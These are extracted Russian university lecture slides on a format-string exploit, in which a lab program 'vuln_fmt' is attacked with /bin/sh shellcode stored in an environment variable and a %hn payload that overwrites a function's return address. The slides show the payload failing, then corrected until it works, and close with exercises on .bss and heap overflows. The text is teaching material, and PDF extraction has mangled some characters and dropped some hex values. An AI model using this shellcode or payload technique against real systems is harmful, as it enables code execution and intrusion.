Лекция 3
.pdfПереполнение буфера в .bss |
Переполнение буфера в куче |
printf |
Эксплойт форматной строки |
|
|
|
|
Алгоритм создания эксплойта
1Получить указатель строки (переменной окружения SHELLCODE), содержащей шеллкод
2Найти позицию ячейки в стеке, содержащей адрес возврата из функции foo
3Переписать адрес возврата указателем на строку, содержащую шеллкод
Браницкий А.А., СПбГУТ |
Лекция 3, Санкт-Петербург, 2021 |
20/26 |
Переполнение буфера в .bss |
Переполнение буфера в куче |
printf |
Эксплойт форматной строки |
|
|
|
|
Адрес переменной окружения (п. 1)
Экспорт переменной окружения
export SHELLCODE=$(echo -e "\x31\xc0\x50\x68"\ "\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"\ "\x89\xc1\x89\xc2\xb0\x0b\xcd\x80")
Адрес переменной окружения в vuln_fmt
./pea SHELLCODE
addr SHELLCODE: 0xffffda2d SHELLCODE=...Phn/shh//bi...
python -c 'print "{:02x}".format(0xffffda2d - \ (len("./vuln_fmt") - len("./pea")) * 2) 'da23 - адрес строки, содержащей шеллкод
Браницкий А.А., СПбГУТ |
Лекция 3, Санкт-Петербург, 2021 |
21/26 |
Переполнение буфера в .bss |
Переполнение буфера в куче |
printf |
Эксплойт форматной строки |
|
|
|
|
Адрес возврата из функции foo (п. 2)
Смещение локальной переменной l относительно регистра ebp
objdump -d -M intel vuln_fmt | grep -A 5 '<foo>:' 08048e3c <foo>:
8048e3c: |
55 |
|
|
|
push ebp |
|
8048e3d: |
89 |
e5 |
|
|
mov |
ebp,esp |
8048e3f: |
83 |
ec 78 |
|
sub |
esp,0x78 |
|
8048e42: c7 45 |
f4 |
01 00 00 00 |
mov |
DWORD PTR [ebp-0xc],0x1 |
||
8048e49: |
8b |
45 |
f4 |
|
mov |
eax,DWORD PTR [ebp-0xc] |
0xc=12 áàéò
Адрес (позиция ячейки в стеке) переменной l
./vuln_fmt aaa
* &l: FFFFD69C, l: 1 ^ &l: FFFFD69C, l: 1 buf: aaa
Позиция ячейки в стеке, содержащей адрес возврата:
0xffffd69c + 0xc + 0x4 = 0xffffd6ac
адрес |
ñìå- |
4 байта |
переменной l |
щение |
ÓÊÑ |
Браницкий А.А., СПбГУТ |
Лекция 3, Санкт-Петербург, 2021 |
22/26 |
Переполнение буфера в .bss |
Переполнение буфера в куче |
printf |
Эксплойт форматной строки |
|
|
|
|
Эксплойт форматной строки (п. 3)
./vuln_fmt \
$(echo -e "\xac\xd6\xff\xff")\
%.$(python -c 'print 0xffffda23 - 4')x%4\$n
* &l: FFFFD68C, l: 1 ^ &l: FFFFD68C, l: 1 buf: ????
Браницкий А.А., СПбГУТ |
Лекция 3, Санкт-Петербург, 2021 |
23/26 |
Переполнение буфера в .bss |
Переполнение буфера в куче |
printf |
Эксплойт форматной строки |
|
|
|
|
Эксплойт форматной строки (п. 3)
./vuln_fmt \
$(echo -e "\xac\xd6\xff\xff")\
%.$(python -c 'print 0xffffda23 - 4')x%4\$n
* &l: FFFFD68C, l: 1 ^ &l: FFFFD68C, l: 1 buf: ????
Не работает, т.к. 4294957599 - слишком большое число (кроме того, адрес переменной l изменился)
Браницкий А.А., СПбГУТ |
Лекция 3, Санкт-Петербург, 2021 |
23/26 |
Переполнение буфера в .bss |
Переполнение буфера в куче |
printf |
Эксплойт форматной строки |
|
|
|
|
Разбиение форматной строки (п. 3)
Запишем 0x da23 (адрес переменной окружения) в ячейку под номером 0x d6ac:
выбираем наименьшее число min(0xda23, 0x ) = 0xda23 сначала сохраняем 0xda23 по адресу 0x d6ac
затем сохраняем 0x по адресу 0x d6ac + 2 = 0x d6ae
./vuln_fmt \ `python -c 'print \
"\xac\xd6\xff\xff\xae\xd6\xff\xff"'`\ %.55835x%4\$hn%.9692x%5\$hn
* &l: FFFFD67C, l: 1 ^ &l: FFFFD67C, l: 1 buf: ????????000...
здесь 55835 = 0xda23 - 8 9692 = 0x - 0xda23
Браницкий А.А., СПбГУТ |
Лекция 3, Санкт-Петербург, 2021 |
24/26 |
Переполнение буфера в .bss |
Переполнение буфера в куче |
printf |
Эксплойт форматной строки |
|
|
|
|
Разбиение форматной строки (п. 3)
Запишем 0x da23 (адрес переменной окружения) в ячейку под номером 0x d6ac:
выбираем наименьшее число min(0xda23, 0x ) = 0xda23 сначала сохраняем 0xda23 по адресу 0x d6ac
затем сохраняем 0x по адресу 0x d6ac + 2 = 0x d6ae
./vuln_fmt \ `python -c 'print \
"\xac\xd6\xff\xff\xae\xd6\xff\xff"'`\ %.55835x%4\$hn%.9692x%5\$hn
* &l: FFFFD67C, l: 1 ^ &l: FFFFD67C, l: 1 buf: ????????000...
здесь 55835 = 0xda23 - 8 9692 = 0x - 0xda23
Не работает, т.к. адрес переменной изменился (уменьшился на 32 байта). Корректируем (уменьшаем на 32) позицию ячейки в
стеке, содержащей адрес возврата: 0x d6ac !0x d68c.
Браницкий А.А., СПбГУТ |
Лекция 3, Санкт-Петербург, 2021 |
24/26 |
Переполнение буфера в .bss |
Переполнение буфера в куче |
printf |
Эксплойт форматной строки |
|
|
|
|
Эксплойт форматной строки
Запишем 0x da23 (адрес переменной окружения) в ячейку под номером 0x d68c:
выбираем наименьшее число min(0xda23, 0x ) = 0xda23 сначала сохраняем 0xda23 по адресу 0x d6ac
затем сохраняем 0x по адресу 0x d6ac + 2 = 0x d6ae
./vuln_fmt \ `python -c 'print \
"\x8c\xd6\xff\xff\x8e\xd6\xff\xff"'`\ %.55835x%4\$hn%.9692x%5\$hn
* &l: FFFFD67C, l: 1 ^ &l: FFFFD67C, l: 1 buf: ????????000...
$ uname -r 3.16.0-10-amd64
здесь 55835 = 0xda23 - 8 9692 = 0x - 0xda23
Браницкий А.А., СПбГУТ |
Лекция 3, Санкт-Петербург, 2021 |
25/26 |
Переполнение буфера в .bss |
Переполнение буфера в куче |
printf |
Эксплойт форматной строки |
|
|
|
|
Эксплойт форматной строки
Запишем 0x da23 (адрес переменной окружения) в ячейку под номером 0x d68c:
выбираем наименьшее число min(0xda23, 0x ) = 0xda23 сначала сохраняем 0xda23 по адресу 0x d6ac
затем сохраняем 0x по адресу 0x d6ac + 2 = 0x d6ae
./vuln_fmt \ `python -c 'print \
"\x8c\xd6\xff\xff\x8e\xd6\xff\xff"'`\ %.55835x%4\$hn%.9692x%5\$hn
* &l: FFFFD67C, l: 1 ^ &l: FFFFD67C, l: 1 buf: ????????000...
$ uname -r 3.16.0-10-amd64
здесь 55835 = 0xda23 - 8 9692 = 0x - 0xda23 Работает.
Браницкий А.А., СПбГУТ |
Лекция 3, Санкт-Петербург, 2021 |
25/26 |
Переполнение буфера в .bss |
Переполнение буфера в куче |
printf |
Эксплойт форматной строки |
|
|
|
|
Упражнения
1Реализовать эксплойт вызова интерпретатора (к примеру, /usr/bin/python или /usr/bin/perl) через переполнение буфера в .bss и куче с
использованием переменной окружения
2Реализовать эксплойт зависания программы (бесконечный цикл при попытке вызова функции prt) через переполнение буфера в .bss и куче с использованием переменной окружения
3Реализовать эксплойт досрочного выхода из программы (вызов exit при попытке вызова функции prt) через переполнение буфера в .bss и куче с использованием переменной окружения
Браницкий А.А., СПбГУТ |
Лекция 3, Санкт-Петербург, 2021 |
26/26 |